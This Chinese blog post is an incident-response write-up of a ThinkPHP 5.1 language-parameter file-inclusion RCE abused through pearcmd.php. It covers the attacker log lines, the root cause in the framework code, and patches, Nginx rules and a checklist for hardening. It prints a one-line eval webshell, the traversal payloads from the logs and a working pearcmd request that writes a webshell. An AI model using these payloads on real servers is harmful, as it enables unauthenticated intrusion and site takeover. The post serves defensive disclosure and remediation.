ThinkPHP 5.1.41 多语言 RCE 漏洞实战:从被入侵到溯源修复
🌐 Read in English2026年4月8日,在对服务器上多个 ThinkPHP 站点进行例行安全检查时,在 thikphp5.1站点 的 public 目录下发现了三个恶意文件:
| 文件 | 类型 | 危害等级 |
|---|---|---|
9.php | 一句话木马 | 🔴 严重 |
q9.php | 文件管理器 Webshell | 🔴 严重 |
5.php | Adminer 数据库管理工具 | 🟡 高危 |
其中 9.php 仅一行代码:
<?php @eval(base64_decode($_POST[1]));echo 8;?>而 q9.php 是一个约 400 行的完整文件管理器 Webshell,具备以下能力:
open_basedir绕过(通过mkdir+chdir+ini_set链)- XOR 加密通信(躲避 WAF 检测)
- 文件浏览、编辑、上传、下载、删除、改权限
- 自毁功能
这不是脚本小子的作品,是一个成熟的渗透工具。
一、溯源:攻击者是怎么进来的
日志中的线索
在 ThinkPHP 的 runtime 错误日志中,发现了关键证据:
[2026-03-25T17:16:39+09:00] 134.122.173.185 GET 8.213.212.93:88/?lang=../../../../../usr/local/php/pearcmd
[2026-03-25T17:16:45+09:00] 134.122.173.185 GET 8.213.212.93:88/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+IbLLhEABVr.log攻击者 IP 134.122.173.185 在 3月25日对服务器发起了 ThinkPHP 多语言文件包含攻击,利用 pearcmd.php 写入 Webshell。
漏洞原理
这是 ThinkPHP 5 的一个经典漏洞(CVE-2022-38352),攻击链如下:
第一步:多语言参数注入
ThinkPHP 5.1 的 Lang::detect() 方法从 $_GET['lang'] 获取语言参数:
// thinkphp/library/think/Lang.php
public function detect()
{
$langSet = '';
if (isset($_GET[$this->langDetectVar])) {
// url中设置了语言变量
$langSet = strtolower($_GET[$this->langDetectVar]);
}
// ...
if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
$this->range = $langSet ?: $this->range;
}
return $this->range;
}问题在于:没有对 $langSet 做任何过滤。当 allowLangList 为空时(默认情况),任意值都会被接受。
第二步:路径穿越 → 文件包含
App::loadLangPack() 将语言参数拼接到文件路径中:
protected function loadLangPack()
{
if ($this->config('app.lang_switch_on')) {
$this->lang->detect();
}
$this->request->setLangset($this->lang->range());
// 加载语言包 —— 这里直接拼接了用户输入
$this->lang->load([
$this->thinkPath . 'lang/' . $this->request->langset() . '.php',
$this->appPath . 'lang/' . $this->request->langset() . '.php',
]);
}Lang::load() 方法用 include 加载文件:
public function load($file, $range = '')
{
foreach ($file as $_file) {
if (is_file($_file)) {
$_lang = include $_file; // 危险!直接 include 用户可控路径
}
}
}当攻击者传入 ?lang=../../../../../usr/local/php/pearcmd 时,实际加载的路径变成:
thinkphp/lang/../../../../../usr/local/php/pearcmd.php
→ /usr/local/php/pearcmd.php第三步:利用 pearcmd 写入 Webshell
pearcmd.php 是 PHP 自带的 PEAR 包管理器命令行工具。当它被 include 时,会解析 $_SERVER['argv'](来自 URL query string),攻击者可以利用 config-create 命令将任意内容写入文件:
GET /?+config-create+/<?php+eval($_POST[1]);?>+/var/www/html/shell.php&lang=../../../../../usr/local/lib/php/pearcmd这就是 9.php 和 q9.php 被写入的方式。
触发条件
这个漏洞需要同时满足以下条件:
- ✅ ThinkPHP 5.x(本案例为 5.1.41 LTS)
- ✅
lang_switch_on配置为true - ✅
allow_lang_list为空(默认值) - ✅ 服务器上存在
pearcmd.php(大多数 PHP 安装都有)
我们的 5 个 TP5 站点全部满足这些条件。
二、影响范围
对服务器上所有站点进行了全面扫描:
ThinkPHP 5.1.41 站点(存在 RCE 漏洞):
├── hotel.dev ← 已被入侵,发现 Webshell
├── us1us1.dev ← 存在漏洞,未发现入侵痕迹
├── us2us2.dev ← 存在漏洞,未发现入侵痕迹
├── us3us3.dev ← 存在漏洞,未发现入侵痕迹
└── us5us5.dev ← 存在漏洞,未发现入侵痕迹
ThinkPHP 3.2.3 站点(不受此漏洞影响,但存在其他问题):
├── dream.dev
├── blue.kuai
├── henry.dev
├── langdang.dev
├── wannuo.dev
├── coin.dev
└── /www/wwwroot/dreamhotel.dev 之所以被选中,可能是因为它的 app_debug 开启,错误信息暴露了框架版本和路径。
三、修复方案
修复一:修补 Lang.php(核心修复)
在 detect() 方法中加入路径穿越过滤:
public function detect()
{
$langSet = '';
if (isset($_GET[$this->langDetectVar])) {
$langSet = strtolower($_GET[$this->langDetectVar]);
} elseif (isset($_COOKIE[$this->langCookieVar])) {
$langSet = strtolower($_COOKIE[$this->langCookieVar]);
} elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
if (isset($this->acceptLanguage[$langSet])) {
$langSet = $this->acceptLanguage[$langSet];
}
}
// ========== 安全修复 ==========
// 过滤路径穿越字符
$langSet = str_replace(["..", "/", "\\"], "", $langSet);
// 白名单:只允许字母、数字、下划线、连字符
if (!preg_match("/^[a-zA-Z0-9_\-]+$/", $langSet)) {
$langSet = "";
}
// ==============================
if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
$this->range = $langSet ?: $this->range;
}
return $this->range;
}这个补丁做了两层防护:
str_replace移除../、/、\等路径穿越字符- 正则白名单确保只有合法的语言标识符(如
zh-cn、en-us)能通过
修复二:Nginx 层面拦截(纵深防御)
在 Nginx 的 extension 目录下添加 security.conf:
# 阻止 ThinkPHP 多语言 RCE 攻击
if ($args ~* "lang=.*\.\./") {
return 403;
}
# 阻止直接访问 .php 文件(除 index.php)
location ~* ^/(?!index\.php)[^/]+\.php$ {
return 403;
}第二条规则尤其重要 —— 即使攻击者通过其他方式写入了 PHP 文件,也无法直接通过 URL 访问执行。
修复三:关闭 debug 模式
// config/app.php
'app_debug' => false,debug 模式会暴露完整的错误堆栈、框架版本、文件路径,等于给攻击者画了一张地图。
修复四:禁用调试后门
TP3 站点的 ThinkPHP.php 中存在一个调试后门:
// 修复前 —— 任何人访问 ?debug=tw_debug 即可开启调试
if (isset($_GET['debug']) && $_GET['debug'] === 'tw_debug') {
setcookie('ADBUG','tw_debug',time()+ 60*3600);
exit('ok');
}
// 修复后
if (false) { // DISABLED: debug backdoor removed四、验证
修复后验证攻击是否被拦截:
# 测试路径穿越 —— 应返回 403
$ curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:99/?lang=../../../../../etc/passwd"
403
# 测试直接访问 PHP 文件 —— 应返回 403
$ curl -s -o /dev/null -w "%{http_code}" "http://example.com/test.php"
403五、经验总结
为什么 thinkphp站点 被打了而其他站点没有
app_debug = true暴露了框架信息- 域名
hotel.stacam.org通过 Cloudflare 解析,但 Cloudflare 的 WAF 免费版不拦截这类攻击 - 攻击者可能是批量扫描 ThinkPHP 站点
防御清单
- [ ] 升级 ThinkPHP 到最新版本(根本解决方案)
- [X] 修补
Lang.php的detect()方法 - [X] Nginx 层面禁止直接访问非入口 PHP 文件
- [X] 关闭所有生产环境的 debug 模式
- [X] 移除调试后门
- [X] 检查并清理已有的 Webshell
- [X] 检查系统级后门(crontab、进程、/tmp)
- [ ] 配置
allow_lang_list白名单,只允许实际使用的语言 - [ ] 删除服务器上的
pearcmd.php(如不需要 PEAR) - [ ] 定期安全扫描
一句话
ThinkPHP 的多语言功能默认开启且无过滤,配合 pearcmd.php 可以实现零认证 RCE。如果你还在用 ThinkPHP 5.x,现在就去检查你的 lang_switch_on 配置。 📝 本文来自抖文 www.douwen.me ,转载请保留出处。
原文链接:https://www.douwen.me/archives/313/
💬 评论 (0)
还没有评论,来说两句吧 ✍️